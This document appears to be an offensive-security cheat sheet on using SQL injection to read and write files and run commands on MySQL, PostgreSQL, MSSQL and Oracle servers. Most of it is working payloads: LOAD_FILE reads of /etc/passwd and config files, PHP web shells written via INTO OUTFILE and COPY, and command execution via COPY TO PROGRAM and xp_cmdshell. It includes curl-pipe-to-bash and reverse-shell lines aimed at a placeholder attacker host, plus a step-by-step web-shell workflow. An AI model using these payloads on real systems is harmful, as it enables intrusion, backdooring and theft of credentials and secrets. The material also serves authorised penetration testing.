SQLi File Operations
When the database account has appropriate privileges, SQL injection can read arbitrary files from the database server’s filesystem and, in some cases, write files - including web shells.
-- Read file' UNION SELECT NULL, LOAD_FILE('/etc/passwd'), NULL-- -
-- Write web shell (legacy, often blocked)' UNION SELECT '<?php system($_GET["c"]); ?>', NULL, NULL INTO OUTFILE '/var/www/html/shell.php'-- --- Read file (superuser)' UNION SELECT NULL, pg_read_file('/etc/passwd', 0, 100000), NULL-- -
-- Command execution via COPY'; COPY (SELECT '') TO PROGRAM 'id > /tmp/out'-- --- Command execution via xp_cmdshell'; EXEC master..xp_cmdshell 'whoami'-- -Privilege requirements
Section titled “Privilege requirements”| DBMS | Read files | Write files | RCE |
|---|---|---|---|
| MySQL | FILE privilege + secure_file_priv permits target dir | FILE privilege + secure_file_priv permits target dir + path is web-served | Generally not possible directly; via UDF if plugin_dir writable |
| PostgreSQL | Superuser (or pg_read_server_files role in 11+) | Superuser | Superuser via COPY ... TO PROGRAM |
| MSSQL | xp_dirtree / xp_fileexist (sysadmin or specific perms) | xp_cmdshell (sysadmin) | xp_cmdshell (sysadmin) |
| Oracle | JAVA IO PERMISSION, UTL_FILE (DBA) | UTL_FILE (DBA) | DBMS_SCHEDULER / Java (DBA) |
MySQL file operations
Section titled “MySQL file operations”Check FILE privilege
Section titled “Check FILE privilege”' UNION SELECT NULL, GROUP_CONCAT(privilege_type), NULL FROM information_schema.user_privileges-- -' UNION SELECT NULL, current_user(), NULL-- -Look for FILE in the privilege list.
Check secure_file_priv
Section titled “Check secure_file_priv”' UNION SELECT NULL, @@secure_file_priv, NULL-- -Possible values:
NULL→ file ops disabled entirely.''(empty) → reads/writes allowed anywhere./some/path/→ reads/writes restricted to that directory.
Read file
Section titled “Read file”' UNION SELECT NULL, LOAD_FILE('/etc/passwd'), NULL-- -' UNION SELECT NULL, LOAD_FILE('/var/www/html/config.php'), NULL-- -' UNION SELECT NULL, LOAD_FILE('C:/Windows/System32/drivers/etc/hosts'), NULL-- -LOAD_FILE() returns NULL if:
- File doesn’t exist
- File is larger than
max_allowed_packet(default 64MB but historically 1MB) - MySQL process can’t read it (permissions)
secure_file_privblocks the path
Write file
Section titled “Write file”' UNION SELECT '<?php system($_GET[0]); ?>', NULL, NULL INTO OUTFILE '/var/www/html/x.php'-- -Constraints:
- The number of
SELECTed values must match the column count. - The target file must not exist (no overwrite).
secure_file_privmust permit the path.- MySQL process needs filesystem write access to that path.
To write to a path with a known column count:
' UNION SELECT '<?php system($_GET[0]); ?>',2,3,4 INTO OUTFILE '/var/www/html/x.php'-- -When the web root path is unknown, common locations:
/var/www/html/ (Debian/Ubuntu Apache default)/var/www/ (older default)/srv/http/ (Arch / BlackArch / Athena OS)/usr/share/nginx/html/ (Nginx)/inetpub/wwwroot/ (IIS)PostgreSQL file operations
Section titled “PostgreSQL file operations”Read file
Section titled “Read file”Superuser only (or pg_read_server_files role in PG 11+):
' UNION SELECT NULL, pg_read_file('/etc/passwd', 0, 100000), NULL-- -For binary files use pg_read_binary_file().
Write file via COPY
Section titled “Write file via COPY”'; COPY (SELECT '<?php system($_GET[0]); ?>') TO '/var/www/html/x.php'-- -Requires stacked queries and superuser.
RCE via COPY ... TO PROGRAM
Section titled “RCE via COPY ... TO PROGRAM”PostgreSQL 9.3+ allows COPY to pipe data to/from a shell command:
'; COPY (SELECT '') TO PROGRAM 'id > /tmp/out'-- -'; COPY (SELECT '') TO PROGRAM 'curl http://<ATTACKER>/sh | bash'-- -'; COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/<ATTACKER>/4444 0>&1"'-- -RCE via extension creation
Section titled “RCE via extension creation”If COPY ... TO PROGRAM is restricted but you have superuser, dynamic library loading is sometimes possible - depends heavily on PG configuration and beyond this page’s scope.
MSSQL file operations
Section titled “MSSQL file operations”Enable and use xp_cmdshell
Section titled “Enable and use xp_cmdshell”-- Enable advanced options'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE-- -
-- Enable xp_cmdshell'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE-- -
-- Run a command'; EXEC master..xp_cmdshell 'whoami'-- -
-- Get output (when reflected)' UNION SELECT NULL, output, NULL FROM (SELECT * FROM OPENROWSET('SQLNCLI', 'server=.;trusted_connection=yes', 'set fmtonly off; exec master..xp_cmdshell ''whoami''')) AS t-- -When output isn’t reflected, redirect:
'; EXEC master..xp_cmdshell 'whoami > C:\inetpub\wwwroot\out.txt'-- -Then GET /out.txt.
Read file
Section titled “Read file”'; EXEC master..xp_cmdshell 'type C:\path\to\file.txt'-- -
-- Or via BULK INSERT' UNION SELECT NULL, BulkColumn, NULL FROM OPENROWSET(BULK 'C:\path\to\file.txt', SINGLE_CLOB) AS t-- -Check directory contents
Section titled “Check directory contents”'; EXEC master..xp_dirtree 'C:\', 1, 1-- -Oracle file operations
Section titled “Oracle file operations”Oracle file operations require DBA privileges and are rarely available via injection. Brief reference:
-- Read file via UTL_FILE (DBA)SELECT UTL_FILE.GET_LINE(UTL_FILE.FOPEN('DIR_OBJECT', 'file.txt', 'R'), buffer) FROM dual;
-- Java-based command execution (DBA, complex)-- Generally requires deploying a Java class - out of scope for casual exploitationFor Oracle, focus on data extraction and use other vectors (network services, weak credentials) for code execution.
Web shell drop workflow
Section titled “Web shell drop workflow”When you can write files and the path is web-served:
- Confirm web root - read
index.phporindex.htmlviaLOAD_FILEto confirm the path is correct. - Drop minimal shell - keep it small to reduce filter risk:
<?php system($_GET[0]); ?>
- Verify via HTTP:
GET /x.php?0=id
- Upgrade to reverse shell - once command exec works, fetch a real reverse shell:
GET /x.php?0=curl%20http://<ATTACKER>/sh%20|%20bash
Common failure modes
Section titled “Common failure modes”LOAD_FILEreturns NULL - privilege missing, path wrong, file too large, orsecure_file_privblocking. Check each in order.INTO OUTFILEerrors with “Can’t create” - target directory not writable by MySQL process orsecure_file_privrestriction.xp_cmdshellreturns “SQL Server blocked access” - disabled in configuration; enable viasp_configure(requires sysadmin).COPY ... TO PROGRAMreturns “must be superuser” - current PG user is not superuser. Try escalating via known PG CVEs or stop here.- Web shell uploaded but not executable - server doesn’t parse the extension as PHP. Try
.phtml,.php5,.phar, or move to a directory with PHP execution enabled.
- File operations are the bridge from “I have SQLi” to “I have a shell on the database server.” This is often the most impactful finding in a report.
- Reading
/etc/passwdproves file read but isn’t actionable. Pivot to reading the application’s config (DB credentials, API keys, session secrets, private keys) for further compromise. - On Windows, prefer reading
C:\Windows\System32\config\SAMandSECURITYonly if you have SYSTEM-level read access, which is unusual via DB injection. More realistic targets: web.config, application config, IIS logs. - Writing files is louder than reading - every web shell drop is a clear backdoor that triggers AV/EDR. In real engagements, weigh the noise vs. the goal.